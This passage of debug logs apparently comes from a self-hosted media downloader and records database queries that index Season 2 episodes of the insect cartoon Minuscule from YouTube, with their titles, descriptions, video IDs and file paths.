caterpillar finds refuge inside a pumpkin. The other farmhouse insects are not too pleased with the new tenant until the farmer takes away all the apples and potatoes, leaving them homeless.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Homeless / Sans abri (Season 2)", "Uoa0_J8qVcU", 296, false, 5, "https://www.youtube.com/watch?v=Uoa0_J8qVcU", "/downloads/Miniscule Season 2/2020-07-09 Minuscule - Homeless ⧸ Sans abri (Season 2)/Minuscule - Homeless ⧸ Sans abri (Season 2) [Uoa0_J8qVcU].mp4", false, ~U[2020-07-09 14:30:01Z]] 22:15:46.499 [debug] QUERY OK source="sources" db=0.3ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.500 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-30 14:30:01Z], 5] 22:15:46.503 [debug] QUERY OK source="media_items" db=1.8ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Thievish as a magpie / Pie voleuse (Season 2)", "c0f04b3d-9039-43bd-b4cc-c28f4f090a53", "-XlXZUgUMV0", 294, false, 5, "https://www.youtube.com/watch?v=-XlXZUgUMV0", 88, "/downloads/Miniscule Season 2/2020-06-30 Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2)/Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2) [-XlXZUgUMV0].mp4", false, false, false, [], 1, ~U[2020-06-30 14:30:01Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Thievish as a magpie / Pie voleuse (Season 2)", "-XlXZUgUMV0", 294, false, 5, "https://www.youtube.com/watch?v=-XlXZUgUMV0", "/downloads/Miniscule Season 2/2020-06-30 Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2)/Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2) [-XlXZUgUMV0].mp4", false, ~U[2020-06-30 14:30:01Z]] 22:15:46.503 [debug] QUERY OK source="sources" db=0.5ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.505 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-23 14:30:04Z], 5] 22:15:46.528 [debug] QUERY OK source="media_items" db=23.0ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a kitchen garden, a gardener wages a merciless war against a snail's gang which, when the night comes, goes out and eats his salads.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Night of the gastropods / La nuit des gastéropodes (Season 2)", "4adca100-6d1e-4afa-8ec6-d56fcb88f740", "cBDjUa2ayDw", 294, false, 5, "https://www.youtube.com/watch?v=cBDjUa2ayDw", 89, "/downloads/Miniscule Season 2/2020-06-23 Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2)/Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2) [cBDjUa2ayDw].mp4", false, false, false, [], 1, ~U[2020-06-23 14:30:04Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a kitchen garden, a gardener wages a merciless war against a snail's gang which, when the night comes, goes out and eats his salads.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Night of the gastropods / La nuit des gastéropodes (Season 2)", "cBDjUa2ayDw", 294, false, 5, "https://www.youtube.com/watch?v=cBDjUa2ayDw", "/downloads/Miniscule Season 2/2020-06-23 Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2)/Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2) [cBDjUa2ayDw].mp4", false, ~U[2020-06-23 14:30:04Z]] 22:15:46.530 [debug] QUERY OK source="sources" db=0.6ms idle=28.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.531 [debug] QUERY OK source="media_items" db=1.0ms idle=28.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-18 14:30:00Z], 5] 22:15:46.535 [debug] QUERY OK source="media_items" db=2.2ms idle=28.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA grasshopper who's just had babies hurries to teach them the most important lesson of all: how to leap properly. But one of the babies is unable to hop and ends up an outcast.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The grasshopper who didn't / La sauterelle qui ne savait pas sauter (Season 2)", "6f161567-831e-4adc-b10e-0f9931c65b57", "7yponB6dwxg", 294, false, 5, "https://www.youtube.com/watch?v=7yponB6dwxg", 90, "/downloads/Miniscule Season 2/2020-06-18 Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2)/Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2) [7yponB6dwxg].mp4", false, false, false, [], 1, ~U[2020-06-18 14:30:00Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA grasshopper who's just had babies hurries to teach them the most important lesson of all: how to leap properly. But one of the babies is unable to hop and ends up an outcast.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The grasshopper who didn't / La sauterelle qui ne savait pas sauter (Season 2)", "7yponB6dwxg", 294, false, 5, "https://www.youtube.com/watch?v=7yponB6dwxg", "/downloads/Miniscule Season 2/2020-06-18 Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2)/Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2) [7yponB6dwxg].mp4", false, ~U[2020-06-18 14:30:00Z]] 22:15:46.536 [debug] QUERY OK source="sources" db=0.5ms idle=30.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.537 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-11 14:30:10Z], 5] 22:15:46.540 [debug] QUERY OK source="media_items" db=1.9ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider weaves webs to catch a fly but it always gets through the threads. How will the spider finally catch the fly?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wicked web / La toile infernale (Season 2)", "95779b91-d33a-4247-9a3c-a4a16de7451a", "stZl27m_rAs", 119, false, 5, "https://www.youtube.com/watch?v=stZl27m_rAs", 91, "/downloads/Miniscule Season 2/2020-06-11 Minuscule - The wicked web ⧸ La toile infernale (Season 2)/Minuscule - The wicked web ⧸ La toile infernale (Season 2) [stZl27m_rAs].mp4", false, false, false, [], 1, ~U[2020-06-11 14:30:10Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider weaves webs to catch a fly but it always gets through the threads. How will the spider finally catch the fly?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wicked web / La toile infernale (Season 2)", "stZl27m_rAs", 119, false, 5, "https://www.youtube.com/watch?v=stZl27m_rAs", "/downloads/Miniscule Season 2/2020-06-11 Minuscule - The wicked web ⧸ La toile infernale (Season 2)/Minuscule - The wicked web ⧸ La toile infernale (Season 2) [stZl27m_rAs].mp4", false, ~U[2020-06-11 14:30:10Z]] 22:15:46.541 [debug] QUERY OK source="sources" db=0.6ms queue=0.3ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.542 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-04 14:30:03Z], 5] 22:15:46.545 [debug] QUERY OK source="media_items" db=1.8ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / A pleine vitesse (Season 2)", "3323315f-636f-4815-a013-1c6b9220de5e", "j1ZKKf2vKuI", 111, false, 5, "https://www.youtube.com/watch?v=j1ZKKf2vKuI", 92, "/downloads/Miniscule Season 2/2020-06-04 Minuscule - At full speed ⧸ A pleine vitesse (Season 2)/Minuscule - At full speed ⧸ A pleine vitesse (Season 2) [j1ZKKf2vKuI].mp4", false, false, false, [], 1, ~U[2020-06-04 14:30:03Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / A pleine vitesse (Season 2)", "j1ZKKf2vKuI", 111, false, 5, "https://www.youtube.com/watch?v=j1ZKKf2vKuI", "/downloads/Miniscule Season 2/2020-06-04 Minuscule - At full speed ⧸ A pleine vitesse (Season 2)/Minuscule - At full speed ⧸ A pleine vitesse (Season 2) [j1ZKKf2vKuI].mp4", false, ~U[2020-06-04 14:30:03Z]] 22:15:46.546 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.547 [debug] QUERY OK source="media_items" db=0.7ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-28 14:30:07Z], 5] 22:15:46.550 [debug] QUERY OK source="media_items" db=2.1ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly enjoying a chocolate dessert is distracted from a spider that has eyes for this easy prey.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chocolate fly / Mouche au chocolat (Season 2)", "e60c2423-ed95-4b8b-ba60-8fcf8274d07a", "zt7IK3-i-Rc", 119, false, 5, "https://www.youtube.com/watch?v=zt7IK3-i-Rc", 93, "/downloads/Miniscule Season 2/2020-05-28 Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2)/Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2) [zt7IK3-i-Rc].mp4", false, false, false, [], 1, ~U[2020-05-28 14:30:07Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly enjoying a chocolate dessert is distracted from a spider that has eyes for this easy prey.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chocolate fly / Mouche au chocolat (Season 2)", "zt7IK3-i-Rc", 119, false, 5, "https://www.youtube.com/watch?v=zt7IK3-i-Rc", "/downloads/Miniscule Season 2/2020-05-28 Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2)/Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2) [zt7IK3-i-Rc].mp4", false, ~U[2020-05-28 14:30:07Z]] 22:15:46.551 [debug] QUERY OK source="sources" db=0.3ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.552 [debug] QUERY OK source="media_items" db=0.7ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-21 14:30:03Z], 5] 22:15:46.555 [debug] QUERY OK source="media_items" db=2.1ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The vegetable garden / Topinambourg (Season 2)", "35d3c7b6-43e5-445d-a6b9-b0fd05073736", "BnUtsMMfjWU", 293, false, 5, "https://www.youtube.com/watch?v=BnUtsMMfjWU", 94, "/downloads/Miniscule Season 2/2020-05-21 Minuscule - The vegetable garden ⧸ Topinambourg (Season 2)/Minuscule - The vegetable garden ⧸ Topinambourg (Season 2) [BnUtsMMfjWU].mp4", false, false, false, [], 1, ~U[2020-05-21 14:30:03Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The vegetable garden / Topinambourg (Season 2)", "BnUtsMMfjWU", 293, false, 5, "https://www.youtube.com/watch?v=BnUtsMMfjWU", "/downloads/Miniscule Season 2/2020-05-21 Minuscule - The vegetable garden ⧸ Topinambourg (Season 2)/Minuscule - The vegetable garden ⧸ Topinambourg (Season 2) 